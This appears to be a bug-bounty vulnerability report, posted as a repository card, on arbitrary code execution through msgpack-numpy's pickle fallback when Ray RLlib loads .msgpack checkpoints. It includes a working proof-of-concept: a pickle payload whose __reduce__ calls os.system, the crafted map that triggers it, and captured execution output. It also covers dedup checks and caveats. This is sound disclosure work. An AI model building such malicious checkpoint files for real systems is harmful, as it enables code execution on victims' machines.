YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

MessagePack (.msgpack) Model-Format Security Audit β€” huntr "Model File Format" track

Date: 2026-07-08 Scope: MessagePack (.msgpack) as used for ML model/tensor/checkpoint serialization (flax.serialization, msgpack_numpy, and consumers of msgpack_numpy such as Ray RLlib).

Result: NOVEL, REPRODUCIBLE FINDING (Arbitrary Code Execution)

Root cause

File: msgpack_numpy.py (package msgpack-numpy 0.4.8, installed at /home/kali/hunt-workspace/msgpack-model-audit/venv/lib/python3.13/site-packages/msgpack_numpy.py)

Function decode(), lines 84-115. Relevant lines:

84 def decode(obj, chain=None):
...
89    try:
90        if b'nd' in obj:
91            if obj[b'nd'] is True:
96                if b'kind' in obj and obj[b'kind'] == b'V':
97                    descr = ...
99                elif b'kind' in obj and obj[b'kind'] == b'O':
100                   return pickle.loads(obj[b'data'])          # <-- unconditional pickle.loads on attacker bytes
101               else:
102                   descr = obj[b'type']

decode() is installed as the msgpack object_hook for every map value encountered during unpacking (see Unpacker.__init__ around line 237, and unpack()/unpackb() wrappers at lines 271-287, all of which wrap object_hook with functools.partial(decode, chain=object_hook)). Any msgpack map that merely contains the keys nd: True, kind: 'O', and data: <bytes> β€” a structure meant to represent a numpy object-dtype array β€” causes the library to call pickle.loads() directly on the attacker-supplied data bytes, with no validation, no allow-list, and no way to opt out. This reintroduces full pickle-deserialization RCE inside a format (.msgpack) that downstream ML tooling treats as a safe, non-code-executing alternative to pickle.

msgpack_numpy.patch() (lines 294-308) is the standard integration path: it monkey-patches msgpack.Packer/Unpacker/pack/unpack/packb/unpackb so that any code calling the ordinary msgpack module after patch() silently inherits this behavior.

Confirmed real-world consumer: Ray RLlib checkpoints

ray/rllib/utils/checkpoints.py (from ray-project/ray, master branch, fetched fresh):

  • try_import_msgpack() (line ~1050-1073) does exactly import msgpack_numpy; msgpack_numpy.patch(); return msgpack.
  • Checkpoint save path (line ~322-324): msgpack = try_import_msgpack(error=True); msgpack.dump(state, f).
  • Checkpoint load path (line ~403-408): if filename.with_suffix(".msgpack").is_file(): msgpack = try_import_msgpack(error=True); state = msgpack.load(f, strict_map_key=False).

This is RLlib's .msgpack/.msgpck "algorithm_state" / policy checkpoint format (convert_to_msgpack_checkpoint, convert_to_msgpack_policy_checkpoint, and the default save/restore path when use_msgpack=True). Loading such a checkpoint calls exactly the vulnerable decode() path.

Executed repro (real code execution captured)

Two PoC scripts, both executed successfully:

  1. poc/repro.py β€” calls msgpack_numpy.unpackb() directly on a crafted 110-byte blob.
  2. poc/repro_rllib_path.py β€” mirrors RLlib's exact call sequence (msgpack_numpy.patch() then msgpack.dump(state, f) / msgpack.load(f, strict_map_key=False)) against a file named like a real RLlib checkpoint (algorithm_state.msgpack).

Payload construction:

class Evil:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rllib_pwned.txt',))
payload = pickle.dumps(Evil())
malicious_state = {"worker": {b'nd': True, b'type': [], b'kind': b'O',
                               b'shape': (1,), b'data': payload}}

Captured output of repro_rllib_path.py:

Loaded state: {'worker': 0}
pwned file exists: True
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),
27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),
118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)

i.e. simply loading a 100-ish-byte crafted .msgpack checkpoint file executed os.system('id > /tmp/rllib_pwned.txt') on the victim machine β€” full arbitrary code execution at model/checkpoint load time, no other interaction required.

Environment: Python 3.13.12, msgpack 1.2.1, msgpack-numpy 0.4.8, numpy 2.5.1 (installed fresh in /home/kali/hunt-workspace/msgpack-model-audit/venv).

flax.serialization β€” checked, NOT vulnerable to this class of bug

flax/serialization.py (flax 0.12.7) implements its own ext-type hook (_msgpack_ext_pack / _msgpack_ext_unpack, lines 278-314) restricted to exactly three IntEnum codes (ndarray=1, native_complex=2, npscalar=3), all of which route only through np.frombuffer / np.dtype(name) β€” no pickle, no arbitrary ext dispatch, unrecognized ext codes just come back as an inert msgpack.ExtType(code, data) object. No reproducible bug found here (dtype-name arg to np.dtype() was tested with garbage/huge strings; it only ever raises TypeError/ValueError, no OOB read).

Dedup check performed

  • OSV.dev API queries for PyPI packages msgpack-numpy β†’ 0 vulns; flax β†’ 0 vulns; msgpack β†’ 1 unrelated advisory, GHSA-6v7p-g79w-8964/CVE-2026-57585 (Unpacker-reuse use-after-error SEGV/DoS, fixed in 1.2.1, already patched in installed version, unrelated to this pickle-fallback issue).
  • Other msgpack CVEs found via search (all unrelated implementations/issues): CVE-2021-23410 (old msgpack-python unpack RCE via unsafe default, long fixed), CVE-2024-48924 (msgpack-java), CVE-2026-21452/GHSA-cw39-r4h6-8j3x (msgpack-java EXT32 DoS), CVE-2026-28277/GHSA-g48c-2wqr-h844 (LangGraph checkpoint pickle-fallback RCE β€” same class of bug in a different project, confirming this pickle-fallback pattern is a recognized, rewarded vulnerability class, but a distinct codebase/report).
  • Snyk advisory DB for msgpack-numpy: explicitly "No direct vulnerabilities found."
  • GitHub issue lebedov/msgpack-numpy#46 discusses the feature (object arrays round-tripped via pickle) as a compatibility bug report, not a security advisory β€” no CVE/GHSA ever filed on it.
  • huntr.com hacktivity/site search: no disclosed report found for msgpack, msgpack-numpy, or flax serialization (direct hacktivity search returned 404 for the query form used; general web search of huntr.com found no matching disclosed bounty).
  • No GitHub Security Advisory exists for lebedov/msgpack-numpy (repo's Security tab has no advisories) or for ray-project/ray covering this specific RLlib msgpack-checkpoint path.

Severity assessment (honest)

  • Impact: full arbitrary code execution at model/checkpoint load time β€” matches huntr's top-tier "Arbitrary Code Execution" category exactly.
  • Reach: msgpack_numpy is a widely-depended-on serialization shim (used directly by Ray RLlib for .msgpack policy/algorithm checkpoints, and packaged/recommended in various ML tutorials/repos as "the safe way to msgpack-serialize numpy arrays"). Any project that pip install msgpack-numpy and calls .patch() (RLlib's documented pattern) inherits this.
  • Caveat: this is an intentional, documented feature of msgpack-numpy (object-dtype arrays are pickled by design, per issue #46) β€” i.e. it is a real, unfixed, exploitable design flaw, not a memory-safety bug, and it requires the victim's msgpack-numpy-patched loader to process attacker-supplied bytes (the standard "share this checkpoint" scenario, same trust model as every other pickle-in-a-model-file bounty huntr already pays for). No CVE/advisory currently covers it for msgpack-numpy or for RLlib's specific use of it β€” this is the "AI/ML model file parsing" instance of the general pickle-in-msgpack-fallback class that GHSA-g48c-2wqr-h844 (LangGraph) demonstrates huntr/GitHub treat as reportable.
  • Recommended severity for huntr submission: High (ACE at load time, trivial PoC, real downstream ML consumer identified).

Files

  • poc/repro.py β€” minimal direct msgpack_numpy.unpackb() RCE repro.
  • poc/repro_rllib_path.py β€” RLlib-call-path-faithful RCE repro (patch() + msgpack.dump/msgpack.load).
  • rllib_checkpoints.py β€” fetched copy of ray/rllib/utils/checkpoints.py (master) used for line citations.

Independent re-verification (2026-07-30)

Re-run from a clean checkout by a second party, fresh venv, current PyPI releases (msgpack 1.2.1, msgpack-numpy 0.4.8, numpy 2.5.1, python 3.13). poc/repro_rllib_path.py β€” which mirrors RLlib's exact call sequence (msgpack_numpy.patch(), then msgpack.load(f, strict_map_key=False) on a file named algorithm_state.msgpack) β€” reproduced real code execution verbatim:

Loaded state: {'worker': 0}
pwned file exists: True
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),...

Honest caveats (added on re-verification β€” read before triaging)

  • The pickle.loads() call is documented, intended behaviour of msgpack-numpy. Its own package README states that numpy arrays with dtype 'O' are serialized/deserialized using pickle. So this should NOT be read as an unintended bug in msgpack-numpy; the maintainer made a deliberate design choice.
  • The security-relevant claim is narrower and is about the file format as consumed: a .msgpack file is widely treated (including by Ray RLlib, which offers msgpack checkpoints as the portable/less-pickle-dependent option) as a data-only, non-code-executing serialization format, yet a msgpack map carrying {nd: True, kind: 'O', data: <bytes>} yields full pickle RCE on load, with no allow-list and no opt-out once msgpack_numpy.patch() has been called. The defect is the combination: RLlib globally patches msgpack and then loads checkpoint files that a user may have obtained from a third party.
  • Dedup status (re-checked 2026-07-30): OSV has no advisories for msgpack-numpy. Ray has 22 advisories; the two in the same class are GHSA-hhrp-gw25-jr43 (ACE via ray.data.read_webdataset default decoder pickle.loads) and GHSA-mw35-8rx3-xf9r (RCE via Parquet Arrow extension type deserialization). Neither covers the RLlib checkpoints.py msgpack path, so this is not a duplicate β€” but it is the same recurring pickle-on-data-path pattern in Ray, and a triager may reasonably group it with those.
  • Ray's documented threat model treats cluster inputs as trusted in places; if the triager considers "load only checkpoints you trust" to be the intended contract, this may be closed as by-design. That risk is stated up front rather than glossed over.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support